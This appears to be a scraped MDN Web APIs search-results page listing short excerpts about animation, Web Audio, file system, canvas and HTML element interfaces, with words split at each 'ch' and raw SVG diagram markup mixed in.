channel interpretation "speakers" inheritance this interface inherits from the following parent interfaces: <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" ...
...fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">audionode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#d4dde4" fill="none"/><line x1="251" y1="25" x2="281" y2="...
...And 2 more matches
Animation.playState - Web APIs
finished the animation has rea
ched one of its boundaries and the animation.currenttime property is not updating.
... previously, web animations defined a pending value to indicate that some asyn
chronous operation su
ch as initiating playback was yet to complete.
...so they must be paused as soon as they are animated like so: // setting up the tear animations tears.forea
ch(function(el) { el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for ea
ch tear duration: getrandommsrange(2000, 6000), // randomized for ea
ch tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown.
...And 2 more matches
Animation.startTime - Web APIs
the animation.starttime property of the animation interface is a double-precision floating-point value whi
ch indicates the s
cheduled time when an animation's playback should begin.
... an animation’s start time is the time value of its documenttimeline when its target keyframeeffect is s
cheduled to begin playback.
...you can read this value to determine what the start time is currently set at, and you can
change this value to make the animation start at a different time.
...And 2 more matches
AudioBufferSourceNode.start() - Web APIs
the start() method of the audiobuffersourcenode interface is used to s
chedule playback of the audio data contained in the buffer, or to begin playback immediately.
... syntax audiobuffersourcenode.start([when][, offset][, duration]); parameters when optional the time, in seconds, at whi
ch the sound should begin to play, in the same time coordinate system used by the audiocontext.
...the default value, 0, will begin playback at the beginning of the audio buffer, and offsets past the end of the audio whi
ch will be played (based on the audio buffer's duration and/or the loopend property) are silently clamped to the maximum value allowed.
...And 2 more matches
AudioContext() - Web APIs
the audiocontext() constructor creates a new audiocontext object whi
ch represents an audio-processing graph, built from audio modules linked together, ea
ch represented by an audionode.
...the user agent may or may not
choose to meet this request;
check the value of audiocontext.baselatency to determine the true latency after creating the context.
...be sure to
check the values if they matter to you.
...And 2 more matches
AudioContext.createJavaScriptNode() - Web APIs
the audiocontext.createjavascriptnode() method creates a javascriptnode whi
ch is used for directly manipulating audio data with javascript.
... syntax var jsnode = audioctx.createjavascriptnode(buffersize, numinput
channels, numoutput
channels); parameters buffersize the buffer size must be in units of sample frames, i.e., one of: 256, 512, 1024, 2048, 4096, 8192, or 16384.
... numinput
channels the number of input
channels in the audio stream.
...And 2 more matches
AudioContextLatencyCategory - Web APIs
the audiocontextlatencycategory type is an enumerated set of strings whi
ch are used to select one of a number of default values for acceptable maximum latency of an audio context.
... by using these strings rather than a numeric value when specifying a latency to a audiocontext, you can allow the user agent to select an appropriate latency for your use case that makes sense on the device on whi
ch your content is being used.
... "interactive" the audio is involved in interactive elements, su
ch as responding to user actions or needing to coincide with visual cues su
ch as a video or game action.
...And 2 more matches
AudioContextOptions - Web APIs
the user agent may or may not
choose to meet this request;
check the value of audiocontext.baselatency to determine the true latency after creating the context.
... constants standard values for latencyhint the latencyhint property can be number specifying a preferred maximum latency in seconds or a string from the audiocontextlatencycategory enumerated string, whi
ch selects a standard value for a given type of audio usage: value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value.
... "interactive" the audio is involved in interactive elements, su
ch as responding to user actions or needing to coincide with visual cues su
ch as a video or game action.
...And 2 more matches
AudioNodeOptions - Web APIs
syntax var audionodeoptions = { "
channelcount" : 2, "
channelcountmode" : "max", "
channelinterpretation" : "discrete" } properties
channelcount optional represents an integer used to determine how many
channels are used when up-mixing and down-mixing connections to any inputs to the node.
... (see audionode.
channelcount for more information.) its usage and precise definition depend on the value of audionodeoptions.
channelcountmode.
...
channelcountmode optional represents an enumerated value describing the way
channels must be mat
ched between the node's inputs and outputs.
...And 2 more matches
AudioParam.cancelAndHoldAtTime() - Web APIs
the cancelandholdattime() property of the audioparam interface cancels all s
cheduled future
changes to the audioparam but holds its value at a given time until further
changes are made using other methods.
... syntax var audioparam = audioparam.cancelandholdattime(canceltime) parameters canceltime a double representing the time (in seconds) after the audiocontext was first created after whi
ch all s
cheduled
changes will be cancelled.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
AudioTrack.enabled - Web APIs
example this example swit
ches between the main and commentary audio tracks of a media element.
... function swapcommentarymain() { var videoelem = document.getelementbyid("main-video"); var audiotrackmain; var audiotrackcommentary; videoelem.audiotracks.forea
ch(track) { if (track.kind === "main") { audiotrackmain = track; } else if (track.kind === "commentary") { audiotrackcommentary = track; } } if (audiotrackmain && audiotrackcommentary) { var commentaryenabled = audiotrackcommentary.enabled; audiotrackcommentary.enabled = audiotrackmain.enabled; audiotrackmain.enabled = commentaryenabled; } } the swapcommentarymain() function above finds within the audio tracks of the <video> element "main-video" the audio tracks whose kind values are "main" and "commentary".
... note: this example assumes that there is only one of ea
ch kind of track in the video, but this is not necessarily the case.
...And 2 more matches
AudioTrack.language - Web APIs
for tracks that include multiple languages (su
ch as a movie in english in whi
ch a few lines are spoken in other languages), this should be the video's primary language.
... syntax var audiotracklanguage = audiotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the audio track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain spee
ch.
... example this example locates all of a media element's primary language and translated audio tracks and returns a list of objects containing ea
ch of those tracks' id, kind, and language.
...And 2 more matches
AudioWorkletNode.parameters - Web APIs
there we've created a simple node whi
ch outputs white noise.
... here, additionally, we'll create a custom gain parameter, so we can directly
change volume of the output (although you could use gainnode to a
chieve this as well).
... // white-noise-processor.js class whitenoiseprocessor extends audioworkletprocessor { static get parameterdescriptors () { return [{ name: 'customgain', defaultvalue: 1, minvalue: 0, maxvalue: 1, automationrate: 'a-rate' }] } process (inputs, outputs, parameters) { const output = outputs[0] output.forea
ch(
channel => { for (let i = 0; i <
channel.length; i++) {
channel[i] = (math.random() * 2 - 1) * (parameters['customgain'].length > 1 ?
...And 2 more matches
FileReaderSync.readAsText() - Web APIs
the readastext() method of the filereadersync interface allows to read file or blob objects in a syn
chronous way into an domstring.
... this interface is only available in workers as it enables syn
chronous i/o that could potentially block.
... encodingerror is raised when the resource is a data url and exceed the limit length defined by ea
ch browser.
...And 2 more matches
FileSystemEntry.isDirectory - Web APIs
you should not assume that any entry whi
ch isn't a directory is a file or vice-versa.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetisdirectory experimental
chrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1webview android full support ≤37
chrome android full support 18firefox android full support ...
...And 2 more matches
FileSystemEntry.isFile - Web APIs
you should not assume that any entry whi
ch isn't a file is a directory or vice-versa.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetisfile experimental
chrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1webview android full support ≤37
chrome android full support 18firefox android full support 50op...
...And 2 more matches
FileSystemEntry.name - Web APIs
example this example shows a function called isfilewithextension() whi
ch returns true if the specified filesystementry is both a file and the file's name ends with a given extension.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetname experimental
chrome full support 8edge full support 79firefox full support 50ie no support noopera no support nosafari full support 11.1webview android full support ≤37
chrome android full support 18firefox android full support 50oper...
...And 2 more matches
FontFace.display - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdisplay experimental
chrome full support 60edge full support 79firefox full support 58ie ?
... opera full support 47safari full support 11webview android full support 60
chrome android full support 60firefox android no support noopera android full support 44safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
...And 2 more matches
Geolocation API - Web APIs
geolocation.wat
chposition(): registers a handler function that will be called automatically ea
ch time the position of the device
changes, returning the updated location.
... an optional positionoptions object, whi
ch provides options for retrieval of the position data.
... interfaces geolocation the main class of this api — contains methods to retrieve the user's current position, wat
ch for
changes in their position, and clear a previously-set wat
ch.
...And 2 more matches
GlobalEventHandlers.onanimationstart - Web APIs
the function receives as input a single parameter: an animationevent object describing the event whi
ch occurred.
...first, the "slideanimation" class, whi
ch establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
... the keyframes are defined next; they describe an animation whi
ch causes the box to migrate from the top-left corner of the container to the bottom-right corner.
...And 2 more matches
GlobalEventHandlers.onclick - Web APIs
note: when using the click event to trigger an action, also consider adding this same action to the keydown event, to allow the use of that same action by people who don't use a mouse or a tou
ch screen.
...within the function, this will be the element upon whi
ch the event was triggered.
... examples detecting clicks this example simply
changes the color of an element when it's clicked upon.
...And 2 more matches
HTMLAreaElement.referrerPolicy - Web APIs
the htmlareaelement.referrerpolicy property reflect the html referrerpolicy attribute of the <area> element defining whi
ch referrer is sent when fet
ching the resource.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the s
cheme, the host and the port.
... examples <img usemap="#maparound" width="100" height="100" src="/img/logo@2x.png" /> <map id="mymap" name="maparound" />> var elt = document.createelement("area"); elt.href = "/img2.png"; elt.shape = "rect"; elt.referrerpolicy = "no-referrer"; elt.coords = "0,0,100,100"; var map = document.getelementbyid("mymap"); map.append
child(elt); // when clicked, the area's link will not send a referrer header.
...And 2 more matches
msAudioCategory - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... msaudiocategory specifies the purpose of the audio or video media, su
ch as background audio or alerts.
... yes communications for streaming communication audio su
ch as the following: voip real time
chat or other type of phone calls should not be used in non-real-time or non-communication scenarios, su
ch as audio and/or video playback, as playback startup latency is affected.
...And 2 more matches
HTMLBRElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">ht...
...And 2 more matches
HTMLCanvasElement.toBlob() - Web APIs
the htmlcanvaselement.toblob() method creates a blob object representing the image contained in the canvas; this file may be ca
ched on the disk or stored in memory at the discretion of the user agent.
... var canvas = document.getelementbyid('canvas'); canvas.toblob(function(blob) { var newimg = document.createelement('img'), url = url.createobjecturl(blob); newimg.onload = function() { // no longer need to read the blob so it's revoked url.revokeobjecturl(url); }; newimg.src = url; document.body.append
child(newimg); }); note that here we're creating a png image; if you add a second parameter to the toblob() call, you can specify the image type.
... var canvas = document.getelementbyid('canvas'); var d = canvas.width; ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(d / 2, 0); ctx.lineto(d, d); ctx.lineto(0, d); ctx.closepath(); ctx.fillstyle = 'yellow'; ctx.fill(); function blobcallback(iconname) { return function(b) { var a = document.createelement('a'); a.textcontent = 'download'; document.body.append
child(a); a.style.display = 'block'; a.download = iconname + '.ico'; a.href = window.url.createobjecturl(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); save toblob to disk with os.file (
chrome/add-on context only) this te
chnique saves it to the desktop and is only useful in firefox
chrome cont...
...And 2 more matches
HTMLCanvasElement.toDataURL() - Web APIs
chrome also supports the image/webp type.
... encoderoptions optional a number between 0 and 1 indicating the image quality to use for image formats that use lossy compression su
ch as image/jpeg and image/webp.
... exceptions securityerror the canvas's bitmap is not origin clean; at least some of its contents have or may have been loaded from a site other than the one from whi
ch the document itself was loaded.
...And 2 more matches
HTMLDListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldlistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 2 more matches
HTMLDivElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldivelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">h...
...And 2 more matches
HTMLElement.hidden - Web APIs
the htmlelement property hidden is a boolean whi
ch is true if the element is hidden; otherwise the value is false.
...content that was previously needed but is not any longer content that is reused by other parts of the page in a template-like fashion creating an offscreen canvas as a drawing buffer inappropriate use cases include: hiding panels in a tabbed dialog box hiding content in one presentation while intending it to be visible in others elements that are not hidden must not link to elements whi
ch are.
... syntax ishidden = htmlelement.hidden; htmlelement.hidden = true | false; value a boolean whi
ch is true if the element is hidden from view; otherwise, the value is false.
...And 2 more matches
HTMLFormControlsCollection - Web APIs
this interface replaces one method from htmlcollection, on whi
ch it is based.
...en;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlcollection" target="_top"><rect x="1" y="1" width="140" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlcollection</text></a><polyline points="141,25 151,20 151,30 141,25" stroke="#d4dde4" fill="none"/><line x1="151" y1="25" x2="181" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlformcontrolscollection" target="_top"><rect x="181" y="1" width="260" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-si...
...ze="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlformcontrolscollection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of its parent, htmlcollection.
...And 2 more matches
HTMLHeadElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 2 more matches
HTMLHtmlElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhtmlelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 2 more matches
HTMLIFrameElement.csp - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcsp experimental
chrome full support 61edge full support ≤79firefox ?
... webview android full support 61
chrome android full support 61firefox android ?
...And 2 more matches
HTMLIFrameElement.src - Web APIs
the htmliframeelement.src property reflects the html referrerpolicy attribute of the <iframe> element defining whi
ch referrer is sent when fet
ching the resource.
... syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.append
child(iframe); // fet
ch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to atta
ching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
... return value a promise whi
ch is resolved once the image data is ready to be used.
... usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise whi
ch is resolved once the full-resolution image is ready for use.
...And 2 more matches
HTMLImageElement.naturalWidth - Web APIs
this is the width at whi
ch the image is naturally drawn when no constraint or specific value is established for the image.
... this natural width is corrected for the pixel density of the device on whi
ch it's being presented, unlike the value of width.
... html <div class="box"> <img src="/files/16797/clock-demo-400px.png" class="image"> </div> <div class="output"> </div> the html features a 400x398 pixel image whi
ch is placed inside a <div>.
...And 2 more matches
HTMLImageElement.referrerPolicy - Web APIs
the htmlimageelement.referrerpolicy property reflects the html referrerpolicy attribute of the <img> element defining whi
ch referrer is sent when fet
ching the resource.
... "origin" meaning that the referrer will be the origin of the page, that is roughly the s
cheme, the host and the port.
... examples var img = new image(); img.src = 'img/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.append
child(img); // fet
ch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...And 2 more matches
HTMLImageElement.x - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fet
ches the image from the table and looks up its x and y values is below.
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from whi
ch it looks up row 1 (whi
ch, being a zero-based index, means the second row from the top).
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLImageElement.y - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fet
ches the image from the table and looks up its x and y values is below.
